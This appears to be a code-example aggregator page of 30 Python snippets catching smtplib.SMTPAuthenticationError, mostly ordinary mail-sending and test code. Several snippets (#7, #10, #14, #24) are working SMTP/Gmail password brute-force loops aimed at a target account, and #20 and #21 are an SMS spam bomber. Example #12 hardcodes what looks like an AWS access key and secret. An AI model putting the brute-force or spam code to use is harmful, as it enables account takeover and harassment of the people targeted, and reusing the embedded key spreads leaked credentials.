Python smtplib.SMTPAuthenticationError() Examples
The following are 30
code examples of smtplib.SMTPAuthenticationError().
You can vote up the ones you like or vote down the ones you don't like,
and go to the original project or source file by following the links above each example.
You may also want to check out all available functions/classes of the module
smtplib
, or try the search function
.
Example #1
Source File: utils.py From ffplayout-engine with GNU General Public License v3.0 | 8 votes |
def send_mail(self, msg): if _mail.recip: # write message to temp file for rate limit with open(self.temp_msg, 'w+') as f: f.write(msg) self.current_time() message = MIMEMultipart() message['From'] = _mail.s_addr message['To'] = _mail.recip message['Subject'] = _mail.subject message['Date'] = formatdate(localtime=True) message.attach(MIMEText('{} {}'.format(self.time, msg), 'plain')) text = message.as_string() try: server = smtplib.SMTP(_mail.server, _mail.port) except socket.error as err: playout_logger.error(err) server = None if server is not None: server.starttls() try: login = server.login(_mail.s_addr, _mail.s_pass) except smtplib.SMTPAuthenticationError as serr: playout_logger.error(serr) login = None if login is not None: server.sendmail(_mail.s_addr, _mail.recip, text) server.quit()
Example #2
Source File: android_attack.py From Gloom-Framework with GNU General Public License v3.0 | 7 votes |
def do_login(self): self.smtp.starttls() self.CONNECTED_TLS = True print self.CORE_STRING + " Attepting Sign In..." try: self.IS_LOGGED_IN = True self.smtp.login(self.GMAIL, self.PASSWORD) time.sleep(1) print self.INFO_STRING + " Logged In!" time.sleep(0.57) ## ATTEMPTING SMTP LOGIN except smtplib.SMTPAuthenticationError: self.SMTP_AUTHENTICATION_ERROR = True print self.ERROR_STRING + "SMTP Login Error :: Could Not Validate Credentials." return False sys.exit(1) except: pass
Example #3
Source File: send_email.py From airflow with Apache License 2.0 | 7 votes |
def inter_send_email( username: str, password: str, sender_email: str, receiver_email: Union[str, List], message: str ): """ Send email using SMTP """ show_message("SMTP", message) click.confirm("Is the Email message ok?", abort=True) try: send_email( SMTP_SERVER, SMTP_PORT, username, password, sender_email, receiver_email, message, ) click.secho("✅ Email sent successfully", fg="green") except smtplib.SMTPAuthenticationError: sys.exit("SMTP User authentication error, Email not sent!") except Exception as e: # pylint: disable=broad-except sys.exit(f"SMTP exception {e}")
Example #4
Source File: sshmonitor.py From SSHMonitor2.7 with GNU General Public License v3.0 | 6 votes |
def send(sender,to,password,port,subject,body): try: if not Mail.__disabled__: message = MIMEText(body) message['Subject'] = subject mail = smtplib.SMTP('smtp.gmail.com',port) mail.starttls() mail.login(sender,password) mail.sendmail(sender, to, message.as_string()) mail.quit() Logging.log("INFO", "(Mail.send) - Sent email successfully!") else: Logging.log("WARN", "(Mail.send) - Sending mail has been disabled!") except smtplib.SMTPAuthenticationError: Logging.log("WARN", "(Mail.send) - Could not athenticate with password and username!") except Exception as e: Logging.log("ERROR", "(Mail.send) - Unexpected error in Mail.send() error e => " + str(e)) pass
Example #5
Source File: notify.py From HomeAssistantConfig with MIT License | 6 votes |
def connection_is_valid(self): """Check for valid config, verify connectivity.""" server = None try: server = self.connect() except smtplib.socket.gaierror: _LOGGER.exception( "SMTP server not found (%s:%s). " "Please check the IP address or hostname of your SMTP server", self._server, self._port) return False except (smtplib.SMTPAuthenticationError, ConnectionRefusedError): _LOGGER.exception( "Login not possible. " "Please check your setting and/or your credentials") return False finally: if server: server.quit() return True
Example #6
Source File: smtpconnection.py From smtp-email-spoofer-py with GNU General Public License v3.0 | 6 votes |
def login(self, username, password): try: return self.server.login(username, password) except smtplib.SMTPAuthenticationError: logger.error('The server did not accept the username/password combination.') return False except smtplib.SMTPNotSupportedError: logger.error('The AUTH command is not supported by the server.') exit(1) except smtplib.SMTPException: logger.error('Encountered an error during authentication.') exit(1)
Example #7
Source File: smtpbrute.py From Vaile with GNU General Public License v3.0 | 6 votes |
def smtpBrute0x00(ip, usernames, passwords, port, delay): s = smtplib.SMTP(str(ip), port) for username in usernames: for password in passwords: try: s.ehlo() s.starttls() s.ehlo s.login(str(username), str(password)) print(G + ' [+] Username: %s | Password found: %s\n' % (username, password)) s.close() except smtplib.SMTPAuthenticationError: print(GR+ " [*] Checking : "+C+"Username: %s | "+B+"Password: %s "+R+"| Incorrect!\n" % (username, password)) sleep(delay) except Exception as e: print(R+" [-] Error caught! Exception: "+str(e)) pass except KeyboardInterrupt: s.close() sys.exit(1)
Example #8
Source File: emails.py From walle-web with Apache License 2.0 | 6 votes |
def send_email(recipient, subject, html_message, text_message): """ Send email from default sender to 'recipient' """ # Make sure that Flask-Mail has been initialized mail_engine = mail if not mail_engine: return 'Flask-Mail has not been initialized. Initialize Flask-Mail or disable USER_SEND_PASSWORD_CHANGED_EMAIL, USER_SEND_REGISTERED_EMAIL and USER_SEND_USERNAME_CHANGED_EMAIL' try: # Construct Flash-Mail message message = Message(subject, recipients=[recipient], html=html_message, body=text_message) return mail.send(message) # Print helpful error messages on exceptions except (socket.gaierror, socket.error) as e: return 'SMTP Connection error: Check your MAIL_SERVER and MAIL_PORT settings.' except smtplib.SMTPAuthenticationError: return 'SMTP Authentication error: Check your MAIL_USERNAME and MAIL_PASSWORD settings.'
Example #9
Source File: forms.py From colossus with MIT License | 6 votes |
def clean(self): cleaned_data = super().clean() smtp_email_backend = EmailBackend( host=cleaned_data.get('smtp_host'), port=cleaned_data.get('smtp_port'), username=cleaned_data.get('smtp_username'), password=cleaned_data.get('smtp_password'), use_tls=cleaned_data.get('smtp_use_tls'), fail_silently=False, use_ssl=cleaned_data.get('smtp_use_ssl'), timeout=cleaned_data.get('smtp_timeout'), ssl_keyfile=cleaned_data.get('smtp_ssl_keyfile'), ssl_certfile=cleaned_data.get('smtp_ssl_certfile') ) try: smtp_email_backend.open() except ConnectionRefusedError: raise ValidationError(_('Connection refused'), code='connection_refused') except SMTPAuthenticationError as err: raise ValidationError(str(err), code='auth_error') return cleaned_data
Example #10
Source File: gmailhack.py From gmailhack with GNU General Public License v3.0 | 6 votes |
def login(): i = 0 usr = raw_input('What is the targets email address :') server = smtplib.SMTP_SSL('smtp.gmail.com', 465) server.ehlo() for passw in pass_lst: i = i + 1 print str(i) + '/' + str(len(pass_lst)) try: server.login(usr, passw) print '[+] Password Found: %s ' % passw break except smtplib.SMTPAuthenticationError as e: error = str(e) if error[14] == '<': print '[+] Password Found: %s ' % passw break else: print '[!] Password Incorrect: %s ' % passw
Example #11
Source File: send_email.py From incubator-superset with Apache License 2.0 | 6 votes |
def inter_send_email(username, password, sender_email, receiver_email, message): print("--------------------------") print("SMTP Message") print("--------------------------") print(message) print("--------------------------") confirm = input("Is the Email message ok? (yes/no): ") if confirm not in ("Yes", "yes", "y"): exit("Exit by user request") try: send_email( SMTP_SERVER, SMTP_PORT, username, password, sender_email, receiver_email, message, ) print("Email sent successfully") except smtplib.SMTPAuthenticationError: exit("SMTP User authentication error, Email not sent!") except Exception as e: exit(f"SMTP exception {e}")
Example #12
Source File: app.py From Python-Programming-Blueprints with MIT License | 6 votes |
def _send_message(message): smtp = smtplib.SMTP_SSL('email-smtp.eu-west-1.amazonaws.com', 465) try: smtp.login( user='AKIAITZ6BSMD7DMZYTYQ', password='Ajf0ucUGJiN44N6IeciTY4ApN1os6JCeQqyglRSI2x4V') except SMTPAuthenticationError: return Response('Authentication failed', status=HTTPStatus.UNAUTHORIZED) try: smtp.sendmail(message['From'], message['To'], message.as_string()) except SMTPRecipientsRefused as e: return Response(f'Recipient refused {e}', status=HTTPStatus.INTERNAL_SERVER_ERROR) finally: smtp.quit() return Response('Email sent', status=HTTPStatus.OK)
Example #13
Source File: postel.py From sync-engine with GNU Affero General Public License v3.0 | 6 votes |
def smtp_password(self): c = self.connection try: c.login(self.smtp_username, self.auth_token) except smtplib.SMTPAuthenticationError as e: self.log.error('SMTP login refused', exc=e) raise SendMailException( 'Could not authenticate with the SMTP server.', 403) except smtplib.SMTPException as e: # Raised by smtplib if the server doesn't support the AUTH # extension or doesn't support any of the implemented mechanisms. # Shouldn't really happen normally. self.log.error('SMTP auth failed due to unsupported mechanism', exc=e) raise SendMailException(str(e), 403) self.log.info('SMTP Auth(Password) success')
Example #14
Source File: sechub.py From secHub with GNU General Public License v3.0 | 6 votes |
def gmailBruteForce(): smtp_server = smtplib.SMTP("smtp.gmail.com", 587) smtp_server.ehlo() smtp_server.starttls() target = raw_input("\t() Enter The Targets Email Address: ") passwfile = raw_input("\t() Enter the Password File Path: ") passwfile = open(passwfile, "r") for password in passwfile: try: smtp_server.login(target, password) cprint("\t\n[+] Password Found!: %s " % password, 'green') break except smtplib.SMTPAuthenticationError: cprint("\t[*] Trying Password: %s" % password, 'red')
Example #15
Source File: crawler.py From Amazon-Price-Alert with MIT License | 5 votes |
def send_email(msg_content): global emailinfo try: # Try to login smtp server s = smtplib.SMTP("smtp.gmail.com:587") s.ehlo() s.starttls() s.login(emailinfo['sender'], emailinfo['sender-password']) except smtplib.SMTPAuthenticationError: # Log in failed print smtplib.SMTPAuthenticationError print('[Mail]\tFailed to login') else: # Log in successfully print('[Mail]\tLogged in! Composing message..') for receiver in emailinfo['receivers']: msg = MIMEMultipart('alternative') msg['Subject'] = msg_content['Subject'] msg['From'] = emailinfo['sender'] msg['To'] = receiver text = msg_content['Content'] part = MIMEText(text, 'plain') msg.attach(part) s.sendmail(emailinfo['sender'], receiver, msg.as_string()) print('[Mail]\tMessage has been sent to %s.' % (receiver)) # send notified mail once a day.
Example #16
Source File: smtp_email_adapter.py From Flask-User with MIT License | 5 votes |
def send_email_message(self, recipient, subject, html_message, text_message, sender_email, sender_name): """ Send email message via Flask-Mail. Args: recipient: Email address or tuple of (Name, Email-address). subject: Subject line. html_message: The message body in HTML. text_message: The message body in plain text. """ # Construct sender from sender_name and sender_email sender = '"%s" <%s>' % (sender_name, sender_email) if sender_name else sender_email # Send email via SMTP except when we're testing if not current_app.testing: # pragma: no cover try: # Prepare email message from flask_mail import Message message = Message( subject, sender=sender, recipients=[recipient], html=html_message, body=text_message) # Send email message self.mail.send(message) # Print helpful error messages on exceptions except (socket.gaierror, socket.error) as e: raise EmailError('SMTP Connection error: Check your MAIL_SERVER and MAIL_PORT settings.') except smtplib.SMTPAuthenticationError: raise EmailError('SMTP Authentication error: Check your MAIL_USERNAME and MAIL_PASSWORD settings.')
Example #17
Source File: smtp.py From ws-backend-community with GNU General Public License v3.0 | 5 votes |
def test_authentication(self): """ Check to see whether or not the currently configured SMTP credentials can be used to authenticate to the remote service. :return: True if the current configured SMTP credentials can be used to authenticate to the remote service, False otherwise. """ connection = smtplib.SMTP(config.smtp_host, config.smtp_port) connection.ehlo() connection.starttls() try: connection.login(config.smtp_username, config.smtp_password) return True except smtplib.SMTPAuthenticationError: return False
Example #18
Source File: test_smtplib.py From CTFCrackTools with GNU General Public License v3.0 | 5 votes |
def testAUTH_LOGIN(self): self.serv.add_feature("AUTH LOGIN") smtp = smtplib.SMTP(HOST, self.port, local_hostname='localhost', timeout=15) try: smtp.login(sim_auth[0], sim_auth[1]) except smtplib.SMTPAuthenticationError as err: if sim_auth_login_password not in str(err): raise "expected encoded password not found in error message"
Example #19
Source File: run_autoresponder.py From python-email-autoresponder with MIT License | 5 votes |
def connect_to_smtp(): try: do_connect_to_smtp() except gaierror: shutdown_with_error("SMTP connection failed! Specified host not found.") except smtplib.SMTPAuthenticationError as e: shutdown_with_error("SMTP login failed! Reason: '" + cast(e.smtp_error, str, 'UTF-8') + "'.") except Exception as e: shutdown_with_error("SMTP connection/login failed! Reason: '" + cast(e, str) + "'.")
Example #20
Source File: sms_windows.py From Tortuga with GNU General Public License v3.0 | 5 votes |
def main(): try: print logo t.sleep(1) email_login = raw_input(color.GREEN+'[~]'+color.CWHITE+' Enter your email address: ') t.sleep(.5) email_password = raw_input(color.GREEN+'[~]'+color.CWHITE+' Enter your email password: ') t.sleep(.5) NUMBER = raw_input(color.GREEN+'[~]'+color.CWHITE+' Enter a number to spam: ') t.sleep(.5) print ('\nCarriers: {0}att{4}, {1}tmobile{4}, {2}verizon {4}and {3}sprint' ).format(color.CYAN, color.PURPLE, Fore.RED,color.YELLOW, color.CWHITE) CARRIER = raw_input(color.GREEN+'[~]'+color.CWHITE+' Enter a carrier: ') t.sleep(.5) MESSAGE = raw_input(color.GREEN+'[~]'+color.CWHITE+' Enter a message to spam: ') if CARRIER == 'att': CARRIER_MESSAGE = '@mms.att.net' if CARRIER == 'tmobile': CARRIER_MESSAGE = '@tmomail.net' if CARRIER == 'verizon': CARRIER_MESSAGE = '@vtext.com' if CARRIER == 'sprint': CARRIER_MESSAGE = '@messaging.sprintpcs.com' INFO(MESSAGE,CARRIER_MESSAGE,NUMBER,email_login,email_password) except smtplib.SMTPAuthenticationError: print (Fore.RED + '[!] '+color.CWHITE+'Incorrect email information') except KeyboardInterrupt: print '\n' exit()
Example #21
Source File: sms.py From Tortuga with GNU General Public License v3.0 | 5 votes |
def main(): try: print logo t.sleep(1) email_login = raw_input(color.GREEN+'[~]'+color.CWHITE+' Enter your email address: ') t.sleep(.5) email_password = raw_input(color.GREEN+'[~]'+color.CWHITE+' Enter your email password: ') t.sleep(.5) NUMBER = raw_input(color.GREEN+'[~]'+color.CWHITE+' Enter a number to spam: ') t.sleep(.5) print ('\nCarriers: {0}att{4}, {1}tmobile{4}, {2}verizon {4}and {3}sprint' ).format(color.CYAN, color.PURPLE, color.RED,color.YELLOW, color.CWHITE) CARRIER = raw_input(color.GREEN+'[~]'+color.CWHITE+' Enter a carrier: ') t.sleep(.5) MESSAGE = raw_input(color.GREEN+'[~]'+color.CWHITE+' Enter a message to spam: ') if CARRIER == 'att': CARRIER_MESSAGE = '@mms.att.net' if CARRIER == 'tmobile': CARRIER_MESSAGE = '@tmomail.net' if CARRIER == 'verizon': CARRIER_MESSAGE = '@vtext.com' if CARRIER == 'sprint': CARRIER_MESSAGE = '@messaging.sprintpcs.com' INFO(MESSAGE,CARRIER_MESSAGE,NUMBER,email_login,email_password) except smtplib.SMTPAuthenticationError: print (color.RED + '[!] '+color.CWHITE+'Incorrect email information') except KeyboardInterrupt: print '\n' exit()
Example #22
Source File: tests.py From djongo with GNU Affero General Public License v3.0 | 5 votes |
def test_server_login(self): """ Even if the Python SMTP server doesn't support authentication, the login process starts and the appropriate exception is raised. """ class CustomEmailBackend(smtp.EmailBackend): connection_class = FakeAUTHSMTPConnection backend = CustomEmailBackend(username='username', password='password') with self.assertRaises(SMTPAuthenticationError): with backend: pass
Example #23
Source File: mail.py From torrt with BSD 3-Clause "New" or "Revised" License | 5 votes |
def get_connection(self): try: connection = SMTP(self.host, self.port) connection.ehlo() except socket.error as e: LOGGER.error('Could not connect to SMTP server: %s' % e) return if self.use_tls: try: connection.starttls() connection.ehlo() except Exception as e: LOGGER.error(e) return if self.user and self.password: try: connection.login(self.user, self.password) except SMTPAuthenticationError as e: LOGGER.error(e) return return connection
Example #24
Source File: smtp.py From brute with MIT License | 5 votes |
def brute(self, username, pwd_guess) -> int: status: int = 0 try: self.smtp.ehlo() self.smtp.starttls() self.smtp.ehlo self.smtp.login(username, pwd_guess) except smtplib.SMTPAuthenticationError: status = -1 self.smtp.close() return status
Example #25
Source File: test_smtplib.py From CTFCrackTools-V2 with GNU General Public License v3.0 | 5 votes |
def testAUTH_LOGIN(self): self.serv.add_feature("AUTH LOGIN") smtp = smtplib.SMTP(HOST, self.port, local_hostname='localhost', timeout=15) try: smtp.login(sim_auth[0], sim_auth[1]) except smtplib.SMTPAuthenticationError as err: if sim_auth_login_password not in str(err): raise "expected encoded password not found in error message"
Example #26
Source File: tests.py From jorvik with GNU General Public License v3.0 | 5 votes |
def test_fallimento_autenticazione(self, mock_smtp): """ In caso di fallimento autenticazione il messaggio viene rimesso in coda """ self.assertEqual(Messaggio.in_coda().count(), 0) instance = mock_smtp.return_value instance.sendmail.side_effect = smtplib.SMTPAuthenticationError(code=530, msg='authentication error') self._invia_msg_singolo() self.assertEqual(Messaggio.in_coda().count(), 1)
Example #27
Source File: test_smtplib.py From CTFCrackTools-V2 with GNU General Public License v3.0 | 5 votes |
def testAUTH_CRAM_MD5(self): self.serv.add_feature("AUTH CRAM-MD5") smtp = smtplib.SMTP(HOST, self.port, local_hostname='localhost', timeout=15) try: smtp.login(sim_auth[0], sim_auth[1]) except smtplib.SMTPAuthenticationError as err: if sim_auth_credentials['cram-md5'] not in str(err): raise "expected encoded credentials not found in error message" #TODO: add tests for correct AUTH method fallback now that the #test infrastructure can support it.
Example #28
Source File: test_smtplib.py From CTFCrackTools with GNU General Public License v3.0 | 5 votes |
def testAUTH_CRAM_MD5(self): self.serv.add_feature("AUTH CRAM-MD5") smtp = smtplib.SMTP(HOST, self.port, local_hostname='localhost', timeout=15) try: smtp.login(sim_auth[0], sim_auth[1]) except smtplib.SMTPAuthenticationError as err: if sim_auth_credentials['cram-md5'] not in str(err): raise "expected encoded credentials not found in error message" #TODO: add tests for correct AUTH method fallback now that the #test infrastructure can support it.
Example #29
Source File: EMailNotification.py From RedditBots with MIT License | 5 votes |
def send_email(recipient, subject, message): smtp = smtplib.SMTP(host=SMTP_HOST, port=SMTP_PORT) smtp.starttls() if SMTP_USERNAME and SMTP_PASSWORD: try: smtp.login(SMTP_USERNAME, SMTP_PASSWORD) except smtplib.SMTPAuthenticationError: log.error("Wrong email password") try: smtp.sendmail(SMTP_FROM, recipient, "Subject: {0}\n\n{1}".format(subject, message)) except Exception as e: log.error("Error while sending mail, %s", e, exc_info=True) smtp.quit()
Example #30
Source File: tests.py From djongo with GNU Affero General Public License v3.0 | 5 votes |
def test_server_login(self): """ Even if the Python SMTP server doesn't support authentication, the login process starts and the appropriate exception is raised. """ class CustomEmailBackend(smtp.EmailBackend): connection_class = FakeAUTHSMTPConnection backend = CustomEmailBackend(username='username', password='password') with self.assertRaises(SMTPAuthenticationError): with backend: pass